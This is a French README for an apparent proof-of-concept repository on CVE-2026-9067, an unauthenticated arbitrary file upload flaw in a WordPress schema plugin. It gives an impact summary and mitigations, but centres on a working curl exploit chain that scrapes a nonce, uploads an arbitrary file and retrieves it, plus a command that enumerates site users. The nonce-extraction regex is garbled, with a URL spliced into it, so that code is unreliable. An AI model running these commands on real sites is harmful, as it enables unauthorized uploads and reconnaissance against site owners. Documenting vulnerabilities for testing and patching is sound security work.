POC & Xploit - Répertoire de Preuves de Concept
Documentation et exploits pour les vulnérabilités découvertes dans un environnement de test de sécurité WordPress.
Liste des vulnérabilités
| CVE ID | Plugin | Sévérité | Type | Statut |
|---|
| CVE-2026-9067 | Schema & Structured Data for WP & AMP | Élevée (8.1) | Téléversement non restreint de fichiers | Documentée |
CVE-2026-9067
Résumé rapide
Description de la vulnérabilité
Le plugin Schema & Structured Data for WP & AMP, avant la version 1.60, ne valide pas les capabilities des utilisateurs sur les gestionnaires AJAX de téléversement de fichiers et ne valide pas le type des fichiers téléversés. Cela permet à un attaquant non authentifié de téléverser des fichiers arbitraires.
Impact
- Hébergement de contenu : L'attaquant peut héberger du contenu malveillant sur le domaine de la victime
- Consommation d'espace disque : Le téléversement de fichiers arbitraires peut épuiser l'espace disque
- Atteinte à la réputation : Distribution de malwares et pages de phishing depuis le domaine de la victime
Note importante : Le noyau de WordPress bloque les fichiers exécutables (.php, .phtml, .html, .svg), donc il n'existe aucun chemin RCE direct à partir de cette vulnérabilité.
Fichiers
CVE-2026-9067/
├── CVE-2026-9067.md # Dokumentasi lengkap (file ini)
├── CVE-2026-9067.py # Python exploit dengan multi-threading
├── CVE-2026-9067.sh # Bash/Shell PoC script
└── CVE-2026-9067_exploit.sh # Alternative Bash PoC
PoC rapide
# Step 1: Get nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/HEAD/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
# Step 2: Upload arbitrary file
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F "saswp_rf_form_nonce=$NONCE" \
-F '[email protected];type=image/png;filename=evil.csv'
# Step 3: Access uploaded file
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
Commandes de test
Vérifier l'état du site
curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
Vérifier la version du plugin
curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
Énumérer les utilisateurs
curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
- Mettre à jour le plugin : Mettre à jour Schema & Structured Data for WP & AMP vers la version 1.60 ou plus récente
- Désactiver le plugin : Si la mise à jour n'est pas possible, désactivez le plugin
- Durcissement :
- Définir la constante
DISALLOW_FILE_MODIFICATIONS
- Désactiver l'exécution de PHP dans le répertoire uploads via
.htaccess
- Implémenter des règles WAF
Références